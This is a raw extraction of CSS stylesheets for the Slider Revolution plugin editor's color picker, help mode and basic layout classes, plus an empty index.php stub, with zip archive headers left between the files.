	content: "Saving Preset...";
	margin-left: -123px;
	
}

#revbuilder-cpicker *:not(input) {
	
	-moz-user-select: none;
	-ms-user-select: none;
	-webkit-user-select: none;
	user-select: none;
	
}

#revbuilder-cpicker-drag {
	
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	cursor: move;
	
}

.revbuilder-cpicker-gradient-block {
	
	width: 236px;
	height: 50px;
	background: url(../images/trans_tile.png);
	
}

#revbuilder-cpicker-gradient-input .ui-draggable {
	
	cursor: default;
	
}

.revbuilder-cpicker-wrap .ui-draggable .revbuilder-cpicker-section {
	
	cursor: auto;
	
}

.revbuilder-cpicker-gradient-builder {
	
	width: 100%;
	height: 100%;
	position: relative;
	
}

#revbuilder-cpicker-hit-top {
	
	top: -17px;
	
}

#revbuilder-cpicker-hit-bottom {
	
	bottom: -17px;
	
}

.revbuilder-cpicker-builder-hit {
	
	position: absolute;
	left: 0;
	width: 100%;
	height: 17px;
	cursor: copy;
	z-index: 0;
	
}

.revbuilder-cpicker-builder-hit.full {
	
	pointer-events: none;
	cursor: auto;
	
}

#revbuilder-cpicker-point-wrap {
	
	width: 246px;
	height: 100%;
	position: absolute;
	top: 0;
	left: -5px;
	z-index: 99;
	
}

#revbuilder-cpciker-point-container {
	
	width: 234px;
	height: 100%;
	position: absolute;
	top: 0;
	left: 0;
	
}

.revbuilder-cpicker-left .revbuilder-cpicker-gradient-block {
	
	margin-left: 39px;
	
}

#revbuilder-cpicker-wheel {
	
	display: inline-block;
	vertical-align: top;
	position: relative;
	top: -10px;
	width: 47px;
	height: 47px;
	cursor: default;
	margin: 0 5px 0 10px;
	
}

#revbuilder-cpicker-wheel-inner {
	
	position: absolute;
	left: 5px;
	top: 5px;
	width: 37px;
	height: 37px;
	border-radius: 50%;
	border: 1px solid #3f444a;
	border-box: border-box;
	
}

#revbuilder-cpicker-wheel-point {
	
	position: absolute;
	left: 50%;
	top: 0;
	display: block;
	position: relative;
	width: 3px;
	height: 20px;
	margin-left: -2px;
	transform-origin: bottom center;
	background-color: #006dd2;
	
}

#revbuilder-cpicker-wheel-point:after {
	
	width: 7px;
	height: 7px;
	border-radius: 50%;
	background-color: #b7bbc0;
	position: absolute;
	top: -2px;
	left: 50%;
	margin-left: -4px;
	display: block;
	content: "";
	
}

.revbuilder-cpicker-point  {
	
	position: absolute;
	display: block;
	width: 12px;
	height: 17px;
	
}

.revbuilder-cpicker-point.active {
	
	z-index: 999;
	background-position: left bottom;
	
}

.revbuilder-cpicker-point.warning {
	
	transition: 0.1s transform linear;
	
}

.revbuilder-cpicker-point-top.warning {

	transform: translate(0, -5px) scale(0.75);

}

.revbuilder-cpicker-point-bottom.warning {

	transform: translate(0, 5px) scale(0.75);

}

.revbuilder-cpicker-point-top {
	
	top: -17px;
	background: url(../images/point_top.png) left top no-repeat;
	
}

.revbuilder-cpicker-point-bottom {
	
	bottom: -17px;
	background: url(../images/point_bottom.png) left top no-repeat;
	
}

.revbuilder-cpicker-point-square {
	
	display: block;
	width: 10px;
	height: 10px;
	position: absolute;
	top: 1px;
	left: 1px;
	
}

.revbuilder-cpicker-point-triangle {
	
	display: block;
	width: 0; 
	height: 0; 
	
}

.revbuilder-cpicker-point-top .revbuilder-cpicker-point-triangle {
	
	border-left: 5px solid transparent;
	border-right: 5px solid transparent;
	border-top: 5px solid transparent;
	position: absolute;
	top: 11px;
	left: 1px;
	
}

.revbuilder-cpicker-point-bottom .revbuilder-cpicker-point-triangle {
	
	border-left: 5px solid transparent;
	border-right: 5px solid transparent;
	border-bottom: 5px solid transparent;
	position: absolute;
	top: 1px;
	left: 1px;
	
}

.revbuilder-cpicker-point-bottom .revbuilder-cpicker-point-square {
	
	top: 6px;
	
}

.revbuilder-cpicker-hideable,
.revbuilder-cpicker-point-delete,
.revbuilder-cpicker-input-wrap.disabled {
	
    opacity: 0.35;
    pointer-events: none;
	
}

.revbuilder-cpicker-point-delete.active {
	
    opacity: 1;
    pointer-events: auto;
	
}

.revbuilder-cpicker-onoff-wrap, .revbuilder-cpicker-onoff-wrap * {
	
	-webkit-touch-callout:none;  
	-webkit-user-select:none; 
	-khtml-user-select:none;  
	-moz-user-select:none;  
	-ms-user-select:none; 
	user-select:none;
	
}

.revbuilder-cpicker-onoff-wrap { 

	cursor: pointer;
	display: inline-block; 
	vertical-align: top; 
	position: relative; 
	width: 50px;
	height: 20px;
	line-height: 20px; 
	border-radius: 10px;  
	overflow: hidden; 
	box-sizing: border-box;
	transform: translateZ(0.001px);
	text-align: center;
	overflow: hidden;
	background: #2a2c2f;
	margin-top: 7px;
	
}

.revbuilder-cpicker-onoff-inner {
	
	width: 100px;
	white-space: nowrap;
	transform: translateX(0px);
	transition: transform 0.2s ease;
	
}

.revbuilder-cpicker-onoff {
	
	position: relative;
    display: block;
	float: left;
    width: 50px;
    height: 20px;
    background: #2a2c2f;
    padding: 0px 8px;
    color: #777c80;
    font-weight: 400;
    box-sizing: border-box;
    font-size: 11px;
    line-height: 22px;
    text-transform: uppercase;
	overflow: hidden;
	
}

.revbuilder-cpicker-onoff:after {
	
    content: " ";
    width: 12px;
    height: 12px;
    position: absolute;
    left: 32px;
    top: 4px;
    border-radius: 50%;
    background: #3f444a;
    box-sizing: border-box;
	
}

.revbuilder-cpicker-on {
	
	color: #FFF;
	background: #006dd2;
	
}

.revbuilder-cpicker-on:after {
	
	left: auto;
	right: 32px;
	background: #FFF;
	
}

.revbuilder-cpicker-off span {
	
	position: relative;
	right: 7px;
	
}

.revbuilder-cpicker-on span {
	
	position: relative;
	left: 7px;
	
}

.revbuilder-cpicker-onoff-wrap.checked .revbuilder-cpicker-onoff-inner {
	
	transform: translateX(-50px);
	
}

.revbuilder-cpicker-wrap.gradient-view.open .revbuilder-cpicker-hideable {
	
	opacity: 1;
	pointer-events: all;
	
}

.revbuilder-cpicker-presets-custom {
	
	display: none;
	
}

.revbuilder-picker-color-custom:hover i,
.revbuilder-picker-color-custom:hover i:before {
	
	display: block;
	color: #FFF;

}

.revbuilder-picker-color-custom.selected .revbuilder-cpicker-delete {
	
	cursor: pointer;
	
}

.revbuilder-cpicker-delete i {

	position: absolute;
	top: 0;
	right: 0;
	font-size: 12px;
	display: none;
	opacity: 0.65;
	transition: opacity 0.2s ease;

}

.revbuilder-cpicker-delete:before {
	
	position: absolute;
	top: -1px;
	right: -1px;
	width: 13px;
	height: 14px;
	background-color: #2a2c2f;
	content: "";
	display: none;
	
}

.revbuilder-cpicker-delete:hover i {
	
	opacity: 1;
	
}

#revbuilder-cpicker-remove-delete {

	display: none;
	
}

/****************************** ***
   SPECIAL SELECT2 SETTINGS  - 
**********************************/  
#revbuilder-cpicker .ddTP_C .ddTP_S {background-color: #2a2c2f;border: none;border-radius: 0px; font-size: 12px;color: #000;font-weight: 400;vertical-align: top;min-height: 30px; width:185px;}
#revbuilder-cpicker .input_with_buttonextenstion .ddTP_C .ddTP_S { width: 154px; }
#revbuilder-cpicker .ddTP_C .ddTP_S--single .ddTP_S__rendered { line-height: 30px }
#revbuilder-cpicker .__inmodal .ddTP_C .ddTP_S { width: 100%; }
#revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__rendered {border-radius:0px;color: #b7bbc0; font-size:13px; font-weight: 500; }
#revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__rendered:hover { color: #fff; }

#revbuilder-cpicker .ddTP_C .ddTP_S.ddTP_S--multiple .ddTP_S__rendered { line-height:20px; background:#2a2c2f;padding: 5px; box-sizing: border-box;margin-top: 0px; min-height: 20px; vertical-align: top }
#revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__clear {cursor: pointer;float: right;font-weight: bold; }
#revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__placeholder {color: #b7bbc0; }

#revbuilder-cpicker .ddTP_C .ddTP_S--single .ddTP_S__arrow {top: 0; right: -15px; height: 30px}
#revbuilder-cpicker .ddTP_C .ddTP_S--single .ddTP_S__arrow:after {
	
	position: absolute;
	content: "";
	top: -3px;
	right: 26px;
	width: 1px;
	height: 31px;
	background: #323438;
	
}

#revbuilder-cpicker .ddTP_C.ddTP_C--open .ddTP_S--single .ddTP_S__arrow b {
	
	border-color: transparent transparent #888 transparent;
	border-width: 0 4px 5px 4px;
	
}

/*
#revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__arrow {display:none;  }
#revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__arrow b {display:none;  }
*/

#revbuilder-cpicker .ddTP_C .ddTP_S {padding: 0px 10px;border-radius: 4px;}
#revbuilder-cpicker .ddTP_S.ddTP_S--multiple { padding: 0px; }
#revbuilder-cpicker .ddTP_C {min-width: 100px;margin-right: 5px; margin-bottom: 10px;}
#revbuilder-cpicker .ddTP_C .ddTP_SCH.ddTP_SCH--inline {  height: 20px; line-height: 20px; margin: 0px; }

#revbuilder-cpicker .ddTP_C .ddTP_S--multiple .ddTP_S__choice { margin:0px 5px 0px 0px; text-align:center; padding:0px 10px; line-height: 20px; border: none; border-radius: 3px; background: #006dd2; color: #fff;font-size: 11px; font-weight: 500;vertical-align: top;  }
#revbuilder-cpicker .ddTP_C .ddTP_S--multiple .ddTP_S__choice__remove { color: #fff; margin-right: 3px; font-size: 11px; font-weight: 400;line-height: 20px; vertical-align: top; }

.revbuilder-colorpicker-open .ddTP_C .ddTP_R > .ddTP_ROs { max-height: 250px }

.revbuilder-colorpicker-open .ddTP_C .ddTP_SCH--dropdown .ddTP_SCH__field,
#revbuilder-cpicker .ddTP_C .ddTP_SCH--inline .ddTP_SCH__field { line-height: 20px; border: none !important; border-radius: 0px; box-shadow: none !important; outline: none !important; margin:0px; padding:0px 0px 0px 5px;  color: #b7bbc0; font-size: 13px; font-weight: 500;  }
#revbuilder-cpicker .ddTP_C.ddTP_C--focus .ddTP_SCH--inline .ddTP_SCH__field {  max-width: 185px}

.revbuilder-colorpicker-open .ddTP_C .ddTP_SCH--dropdown .ddTP_SCH__field { background: #2a2c2f;line-height: 37px; padding: 0px 10px; }

#revbuilder-cpicker .ddTP_C .ddTP_S.ddTP_S--multiple ul li { margin-bottom: 0px; }

#revbuilder-cpicker .ddTP_C { margin-top:0px; margin-bottom: 0px; width:125px !important; margin-right:0px; display: inline-block}
#revbuilder-cpicker .__inmodal .ddTP_C { width: 100% !important; }
.revbuilder-colorpicker-open .ddTP_C .ddTP-dropdown { background-color: #2a2c2f; width: 145px !important; box-shadow: none; border:none;box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5);}
.revbuilder-colorpicker-open .ddTP_C .ddTP_RO { color:#b7bbc0; font-size: 13px; padding: 6px 10px; width: 100%;overflow: hidden;position: relative;box-sizing: border-box;white-space: nowrap;text-overflow: ellipsis;}
.revbuilder-colorpicker-open .ddTP_C .ddTP_RO.ddTP_RO--highlighted { color: #fff; background: #3f444a;  }
.revbuilder-colorpicker-open .ddTP_C .ddTP_RO.ddTP_RO--highlighted[aria-selected=true],
.revbuilder-colorpicker-open .ddTP_C .ddTP_RO[aria-selected=true] { color: #fff; background: #006dd2; }

.revbuilder-colorpicker-open .ddTP_C .ddTP_RO[aria-disabled=true] { display: none !important; }

#revbuilder-cpicker .ddTP_C--smalltos2,
#revbuilder-cpicker .ddTP_C--smalltos2 .ddTP-dropdown--below {min-width: 50px;  }
#revbuilder-cpicker .ddTP_C--smalltos2 .ddTP_S {width: 60px;}

#revbuilder-cpicker .ddTP_C--smalltos2-suffix,
#revbuilder-cpicker .ddTP_C--smalltos2-suffix .ddTP-dropdown--below {min-width: 56px;  }

#revbuilder-cpicker .ddTP_C--smalltos2-suffix .ddTP_S {width: 56px; border-radius: 0px 4px 4px 0px; }

.revbuilder-colorpicker-open .ddTP_R__group { background: #343639;color: #777c80; font-size: 13px; font-weight: 500;  text-transform: capitalize; padding:6px 15px; margin-bottom:5px}

#revbuilder-cpicker .ddTP_C { vertical-align: top;  margin-right: 0; box-sizing: content-box; padding-right: 0; height:31px; font-weight: 500}
#revbuilder-cpicker .ddTP_C.ddTP_C--nomargin { margin-right: 0px; }

/*
#revbuilder-cpicker .ddTP_C .ddTP_S--single .ddTP_S__arrow { height: 50px; }
*/

#revbuilder-cpicker .ddTP_C .ddTP_S { box-shadow:none;outline:none;border: none; padding:0px; margin:0px; display: inline-block;font-size: 17px; color: #797b7e; background: transparent  }

#revbuilder-cpicker .ddTP_S__rendered { color:#797b7e; line-height: 50px; vertical-align: top; margin-left: 10px }
#revbuilder-cpicker .ddTP_C .ddTP_S--single .ddTP_S__arrow b { border-color: #797b7e transparent transparent transparent }

#revbuilder-cpicker .ddTP_C:hover .ddTP_S--single .ddTP_S__arrow b {border-color: #b7bbc0 transparent transparent !important}
#revbuilder-cpicker .ddTP_C.ddTP_C--open:hover .ddTP_S--single .ddTP_S__arrow b { border-color: transparent transparent #b7bbc0 transparent !important}
#revbuilder-cpicker .ddTP_C:hover .ddTP_S__rendered { color: #FFF !important; }

/* BLUE STYLE */
#revbuilder-cpicker .ddTP_C.ddTP_C--blue { width: 100% !important; background: #00529d; line-height: 20px; border-radius: 4px; box-sizing: border-box; height: auto; padding:0px !important; margin:0px;}
#revbuilder-cpicker .ddTP_C.ddTP_C--blue  .selection,
#revbuilder-cpicker .ddTP_C.ddTP_C--blue .ddTP_S{ width: 100% !important; }
#revbuilder-cpicker .ddTP_C.ddTP_C--blue .ddTP_SCH__field { color: #fff !important; line-height: 20px;  }

#revbuilder-cpicker .ddTP_C.ddTP_C--blue .ddTP_S { box-shadow:none;outline:none;border: none; padding:0px; margin:0px; display: inline-block;font-size: 12px; color: #fff; background: transparent  }
#revbuilder-cpicker .ddTP_C--blue .ddTP_S__rendered { color:#fff; line-height: 20px; vertical-align: top ; }
#revbuilder-cpicker .ddTP_C--blue .ddTP_S--single .ddTP_S__rendered { color:#fff; line-height: 22px; vertical-align: top ; padding:5px 10px 0px; display: block}

#revbuilder-cpicker .ddTP_C--blue .ddTP_S__rendered .ddTP_S__choice { color:#fff; line-height: 20px; vertical-align: top; background: #006dd2; border-radius: 4px; border: none; }
#revbuilder-cpicker .ddTP_C--blue .ddTP_S__rendered .ddTP_S__choice__remove { color:#fff; line-height: 20px; vertical-align: top;  }

.revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP-dropdown.ddTP-dropdown--below,
.revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP-dropdown.ddTP-dropdown--above { width: 290px !important; min-width:290px; background: #006dd2; margin-left:-5px; margin-top:5px;}

.revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_ROs {  }
.revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO { color: rgba(255,255,255,0.65); }
.revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO.ddTP_RO--highlighted { background: #00529c; color: #fff; }
.revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO.ddTP_RO--highlighted[aria-selected=true], .ddTP_C .ddTP_RO[aria-selected=true] { background: #1a7cd7;color: #fff; }

/*
#revbuilder-cpicker .ddTP_C.ddTP_C--blue .ddTP_S--single .ddTP_S__arrow { height: 30px; ;}
*/

#revbuilder-cpicker .ddTP_C.ddTP_C--blue .ddTP_S--single .ddTP_S__arrow b { border-color: #fff transparent transparent transparent  }

.revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue .ddTP_SCH--dropdown .ddTP_SCH__field { background: #00529d; color: #fff; }

/* AUTOWIDTH CHANGES */
.revbuilder-colorpicker-open .ddTP.ddTP_C.ddTP_C--autowidth { width: auto !important; }
.revbuilder-colorpicker-open .ddTP_C.ddTP_C--autowidth .ddTP-dropdown { min-width: 150px; }

.revbuilder-cpicker-dropdown {display: none}
/*.clearfix {clear: both}*/
.clearfix:before,
.clearfix:after {
    content: " ";
    display: table;
}

.clearfix:after {
    clear: both;
}

#revbuilder-cpicker-left { direction: ltr !important }


/************************************
  - COLORPICKER GLOBAL SETTINGS  -
************************************/

#revbuilder-cpicker-gactive { line-height: 30px; color: #fff; font-weight: 900; font-size: 14px; text-transform: uppercase; display: inline-block; margin-right: 15px; width: 185px; text-align: right; }
#revbuilder-cpicker-globals { line-height:30px; vertical-align:top; display:block; position: relative; background:#323438; height:30px;  padding:20px 28px;border-top:1px solid #3f444a;}
#inp_SkinPicker { display: inline-block }
.skin_mini_color { width: 15px; height: 15px; border-radius: 4px; display: inline-block;margin-right: 10px; margin-top: 2px; vertical-align: top; }

.ddTP.ddTP_C.ddTP-fake .skin_mini_color { margin-top: 7px; }
#revbuilder-cpicker-globals  .tponoffwrap.off .tponoff_inner { transform: translateX(0px); }

#edit_skin_colors i.material-icons { line-height: 30px !important; vertical-align: top; }



PK�y3\ǁP)P)assets/css/help.cssnu�[���/* *********************
  - HELP MODE STYLES -
***********************/

.help-mode-activated .help_wrap {
	
	color: #FFF;
	background-color: #006dd2;
	
}

.help-mode-activated .help_wrap:after {
	
	content: "";
	position: absolute;
	top: 7px;
	right: 7px;
	width: 15px;
	height: 15px;
	color: #FFF;
	background: url(../images/check.png) center center/15px 15px no-repeat transparent;
	
}

#help_mode_modal {
	
	top: 50px;
	right: 100%;
	width: 580px;
	z-index: 99999;
	position: absolute;
	background: #006dd2;
	visibility: hidden;
	opacity: 0;
	margin-right: 51px;
	transition: all 0.3s ease;
	transition-property: opacity, visibility;
	
}

.help-mode-activated.help-mode-active #help_mode_modal {
	
	visibility: visible;
	opacity: 1;
	
}

.help-mode-dialog {
	
	display: none;
	overflow: hidden;
	width: 170px;
	cursor: auto;
	
}

.help-mode-title,
.help-mode-description {
	
	color: #FFF;
	line-height: normal;
	padding: 30px;
	position: relative;
	font-size: 14px;
	font-weight: normal;
	
}

.help-mode-title {
	
	font-weight: bold;
	z-index: 1;
	top: -3px;
	cursor: move;
	padding-bottom: 0;
	
}

.help-mode-section {
	
	margin-top: 10px;
	
}

#help-mode-buttons {
	
	padding: 0;
	margin-top: 24px;
	background-color: transparent;
		
}

.help-mode-section:first-child {
	
	margin-top: 0;
	
}

.help-mode-section i {
	
	font-size: 15px;
    position: relative;
    left: -5px;
	border-radius: 2px;
	
}

.help-mode-section a,
.help-mode-section a:hover {
	
	color: white;
	
}

.help-mode-button {

	float: left;
	margin-left: 10px;
	padding: 6px 20px;
	background-color: #1a7cd7;
	cursor: pointer;
	display: none;
	transition: filter 0.3s ease-in-out;
	border-radius: 2px;
	
}

.help-mode-button:first-child {

	margin-left: 0;
	
}

.help-mode-button:hover {
	
	filter: brightness(110%);
	
}

#help_mode_title {

	position: relative;
	background: white;
	color: #005abd;
	text-transform: uppercase;
	font-size: 11px;
	padding: 1px 4px 0 4px;
	border-radius: 2px;
	vertical-align: top;
	position: relative;
	top: 3px;
	left: 7px;
	font-weight: 900;
	
}

#help_mode_main_title {
	
	font-size: 30px;
	color: white;
	display: block;
	font-weight: 500;
	margin: 16px 0 20px 0;
	
}

#help_mode_video_wrap {
	
	margin: 3px 0 33px 0;
	display: none;
	line-height: 0;
	box-shadow: 5px 5px 20px 0px rgba(0,0,0,0.3);
	
}

#help_mode_title_wrap {margin-top: 2px}
#help_mode_title_wrap i {font-size: 18px}

.help-icon-default i {display: none !important}
.help-icon-default i:nth-child(1) {display: inline-block !important}

.help-icon-faq i:nth-child(2),
.help-icon-faq i:nth-child(3),
.help-icon-faq i:nth-child(4),
.help-icon-faq i:nth-child(5) {display: none !important}

.help-icon-slider i:nth-child(1),
.help-icon-slider i:nth-child(3),
.help-icon-slider i:nth-child(4),
.help-icon-slider i:nth-child(5) {display: none !important}

.help-icon-navigation i:nth-child(1),
.help-icon-navigation i:nth-child(2),
.help-icon-navigation i:nth-child(4),
.help-icon-navigation i:nth-child(5) {display: none !important}

.help-icon-slide i:nth-child(1),
.help-icon-slide i:nth-child(2),
.help-icon-slide i:nth-child(3),
.help-icon-slide i:nth-child(5) {display: none !important}

.help-icon-layer i:nth-child(1),
.help-icon-layer i:nth-child(2),
.help-icon-layer i:nth-child(3),
.help-icon-layer i:nth-child(4) {display: none !important}

#help-mode-search {
	
	white-space: nowrap;
	
}

#help_mode_search {

	position: relative;
	
}

#help_mode_search_wrap {
	
	background: #0051b2;
	padding: 18px 10px 18px 30px;
	
}

#help_mode_search input {

	background: transparent !important;
	line-height: inherit !important;
	height: 100% !important;
	box-sizing: border-box !important;
	font-size: 20px !important;
	color: white !important;
	font-weight: inherit !important;
	vertical-align: top !important;
	background: inherit !important;
	padding: 0 !important;
	margin: 0 !important;
	box-shadow: none !important;
	border: 0 !important;
	width: calc(100% - 50px) !important;
	margin: 0;
	
}

#help_mode_search ::-webkit-input-placeholder {

	color: white !important;
	
}

#help_search_results {
	
	margin-top: 16px;
	padding-top: 21px;
	display: none;
	position: relative;
	
}

#help_search_results:before {
	
	position: absolute;
	top: 0;
	left: -30px;
	width: calc(100% + 40px);
	height: 1px;
	content: "";
	background: #266bbd;
	z-index: 9999999;
	
}

.help-results-container {

	float: left;
	width: 50%;
	
}

#the_right_toolbar .help-results-wrap .rs__scrollbar-y-rail {
	
	display: block !important;
	right: -1px !important;
	
}

#the_right_toolbar .help-results-wrap .rs__scrollbar-y {
	
	background: #266bbd !important;
	
}

#the_right_toolbar .help-results-wrap .rs__scrollbar-y-rail {
	
	background: transparent !important;
	
}

#the_right_toolbar .help-results-wrap .rs__scrollbar-y {
	
	display: block !important;
	opacity: 1 !important;
	
}

.help-results-wrap.ps:hover>.rs__scrollbar-y-rail {
	
	opacity: 1 !important;
	
}

#help_options_results {
	
	width: calc(100% - 20px);
	
}

.help-faqs-empty .help-results-container {

	display: none;
	
}

.help-faqs-empty .help-results-container:first-child {

	display: block;
	width: 100%;
	
}

.help-options-empty .help-results-container {

	display: block;
	width: 100%;
	
}

.help-options-empty .help-results-container:first-child {

	display: none;
	
}

.help-results-wrap {
	
	overflow: hidden;
	position: relative;
	
}

.help-results .help-button {
	
    border-radius: 2px;
    width: 100%;
    text-align: left;
    padding: 8px 0 12px 0;
    line-height: 14px;
    font-size: 12px;
    font-weight: inherit;
	
}

.help-results .help-button:first-child {

	margin-top: 0;
	
}

.help-results .help-button i {
	
    font-size: 19px;
	position: relative;
	top: 2px;
	left: 10px;
	margin: 0 5px;
	
}

#help_faq_results {
	
	width: calc(100% - 20px);
	
}

#help_faq_results .help-button {

	padding: 29px 0 30px 0;
	
}

#help_faq_results .help-button i {

	font-size: 22px;
	
}

.help-results .help-button span {
	
    margin-left: 20px;
	
}

.help-mode-description {
	
	padding: 0 30px 30px 30px;
	line-height: 1.5em;
	display: none;
	margin-top: -9px;
	
}

#help_modal_close {
	
	position: absolute;
	top: 0;
	right: 0;
	width: 50px;
	height: 50px;
	cursor: pointer;
	color: #FFF;
	z-index: 99;
	
}

#help_modal_close i {
	
	position: absolute;
    top: 16px;
    right: 16px;
	font-size: 18px;
	
}

#help_modal_close:hover {
	
	opacity: 0.4;
	
}

.help-mode-link {
	
	font-weight: bold;
	font-size: 12px;
	color: #FFF;
	border-bottom: 1px solid transparent;
	margin: 0 10px 0 0;
	cursor: pointer;
	display: none;
	
}

.help-mode-link:hover {
	
	border-bottom-color: #FFF;
	
}

.help-input-focus:not([type="radio"]),
.help-input-focus + label_sub:before,
.help-input-focus + .ddTP .ddTP_S,
.rev-colorpicker.help-input-focus {
	
	box-shadow: 0 0 20px 5px #006dd2 !important;
	
}

.lal_group_member.help-input-focus {

	box-shadow: none !important;
	color: #FFF;
	background: #006dd2;
	
}

.help-input-focus + label_sub {
	
	overflow: visible;
	
}

#help_input_clear {
	
	position: absolute;
	top: 0;
	right: 0;
	width: 32px;
	text-align: center;
	border-radius: 0;
	box-sizing: border-box;
	height: 100%;
	padding: 0;
	margin: 0 !important;
	line-height: 20px;
	border: none;
	font-size: 11px;
	font-weight: 500;
	vertical-align: top;
	cursor: pointer;
	background-color: #2a2c2f;
	visibility: hidden;
	
}

#help_input_clear {
	
	width: 50px;
	height: 50px;
	background: transparent;
	position: absolute;
	right: -10px;
	top: -14px;
	
}

#help_input_clear i {
	
	position: relative;
    top: 5px;
    margin: 0;
	font-size: 12px;
	color: #FFF;
	
}

#help_input_clear i {
	
    top: 14px;
	left: 0;
	font-size: 18px;
	
}

#help_input_clear:hover i {
	
	opacity: 0.4;
	
}

.help-button {
	
	margin: 5px 5px 0px 0px;
    text-align: center;
    padding: 0px 10px;
    line-height: 20px;
    border: none;
    border-radius: 3px;
    background: #0d5ab6;
    color: #fff;
    font-size: 11px;
    font-weight: 500;
    vertical-align: top;
	display: inline-block;
	cursor: pointer;
	transition: background 0.3s ease-in-out;
	
}

.help-button:hover {
	
	background: #266bbd;
	
}

.help-button span {
	
	position: relative;
	top: 1px;
	
}

.help-mode-activated .help_wrap {
	
    background-color: #3f444a;
	
}

#add_layer_main_wrap > div {position: relative}
.toolbar_btn.help-hover .tool_dd_wrap { display: block; min-width: 100%;}
.toolbar_btn.help-hover { color: #fff}

.toolbar_btn.help-hover-text .add_layer[data-type="text"],
.toolbar_btn.help-hover-image .add_layer[data-type="image"],
.toolbar_btn.help-hover-video .add_layer[data-type="video"],
.toolbar_btn.help-hover-audio .add_layer[data-type="audio"],
.toolbar_btn.help-hover-object .add_layer[data-type="object"],
.toolbar_btn.help-hover-row .add_layer[data-type="row"],
.toolbar_btn.help-hover:not(.help-hover-staticlayers) #newslide,
.toolbar_btn.help-hover-staticlayers .do_not_sort_slide_list_element {background: #3f444a !important; z-index: 99999}

.toolbar_btn.help-hover:not(.help-hover-slideorder) #newslide:after,
.toolbar_btn.help-hover-staticlayers .do_not_sort_slide_list_element:after,
.toolbar_btn.help-hover-slideorder .slide_list_element.selected:after,
#add_layer_toolbar_wrap.help-hover-text #add_layer_main_wrap > div:first-child:after,
#add_layer_toolbar_wrap.help-hover-image #add_layer_main_wrap > div:nth-child(2):after,
#add_layer_toolbar_wrap.help-hover-video #add_layer_main_wrap > div:nth-child(5):after,
#add_layer_toolbar_wrap.help-hover-audio #add_layer_main_wrap > div:nth-child(6):after,
#add_layer_toolbar_wrap.help-hover-object #add_layer_main_wrap > div:nth-child(7):after,
#add_layer_toolbar_wrap.help-hover-row #add_layer_main_wrap > div:nth-child(8):after,
#add_layer_toolbar_wrap.help-hover-column #add_layer_main_wrap > div:nth-child(8):after {
	
	position: absolute;
	bottom: -5px;
	left: 65%;
	margin-left: 10px;
	width: 17px;
	height: 22px;
	background: url(../images/hand.png) no-repeat center center;
	content: "";
	z-index: 99999;
	
}

.toolbar_btn.help-hover-slideorder .slide_list_element.selected:after {
	
	width: 18px;
	height: 18px;
	background: url(../images/move.png) no-repeat center center;
	background-size: 18px 18px;
	bottom: -5px;
	left: -14px;
	
}

.toolbar_btn.help-hover-staticlayers #newslide:after {display: none}
.add_frame_after.help-input-focus {display: block}



/*************** RTL MODE SETTINGS ********************/
body.rtl #help_mode_title {
	left: auto;
	right: 7px;
}

body.rtl .help-mode-section i {
	left: auto;
	right: -5px;
}

body.rtl #help_input_clear {
	right: auto;
	left: -10px;
}PK�y3\�ƹ�assets/css/index.phpnu�[���<?php // Silence is golden
PK�y3\�g�
]
]assets/css/basics.cssnu�[���/************************************************
 * REVOLUTION 6.0.0 BASIC RS EDITOR CLASSES
 * @version: 1.2 (13.12.2017)
 * @author ThemePunch
************************************************/
@import url('https://fonts.googleapis.com/css?family=Roboto:300,400,500,700,900');



.rb-modal-wrapper,
#rbm_optimizer_infos_wrap,
#rbm_optimizer,
._TPRB_,
#objectlibrary { font-family: "Roboto" }


#rb_the_logo { /*display: inline-block; line-height: 50px;  color: #777c80; font-size: 16px; font-weight: 900; text-align: center*/ width: 50px;height: 50px; background:url(../images/wplogo.png); background-size:30px 30px; background-repeat: no-repeat; background-position: center; cursor: pointer }

.rs_fh_right * {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;}

._TPRB_ .div5 { display: block;height: 5px;width: 100%; }
._TPRB_ .div7 { display: block;height: 7px;width: 100%; }
._TPRB_ .div10 { display: block;height: 10px;width: 100%; }
._TPRB_ .div15 { display: block;height: 15px;width: 100%; }
._TPRB_ .div20 { display: block;height: 20px;width: 100%; }
._TPRB_ .div25 { display: block;height: 25px;width: 100%; }
._TPRB_ .div30 { display: block;height: 30px;width: 100%; }
._TPRB_ .div35 { display: block;height: 35px;width: 100%; }
._TPRB_ .div40 { display: block;height: 40px;width: 100%; }
._TPRB_ .div45 { display: block;height: 45px;width: 100%; }
._TPRB_ .div50 { display: block;height: 50px;width: 100%; }
._TPRB_ .div55 { display: block;height: 55px;width: 100%; }
._TPRB_ .div60 { display: block;height: 60px;width: 100%; }
._TPRB_ .div65 { display: block;height: 65px;width: 100%; }
._TPRB_ .div75 { display: block;height: 75px;width: 100%; }
._TPRB_ .div100 { display: block;height: 100px;width: 100%; }
._TPRB_ .div500 { display: block;height: 500px;width: 100%; }
._TPRB_ .div150 { display: block;height: 150px;width: 100%; }


/* SEARCH TEXT */
.rs_overview input.flat_input,
#rb_tlw #addon_overviewheader_wrap input.flat_input
 { font-size: 20px; color:#fff; background: none; border: none; outline:none; box-shadow: none; font-weight: 500;  line-height:50px; padding: 0px; margin: 0px; vertical-align: top  }
 #rb_tlw #addon_overviewheader_wrap input.flat_input { height: 50px;}
.rs_overview  input.flat_input::-webkit-input-placeholder  { color: #fff;}
.rs_overview  input.flat_input::-moz-placeholder            { color: #fff;}
.rs_overview  input.flat_input:-ms-input-placeholder       { color: #fff;}
.rs_overview  input.flat_input:-moz-placeholder            { color: #fff;}
.rs_overview  input.flat_input:hover::-webkit-input-placeholder  { color: #fff !important;}
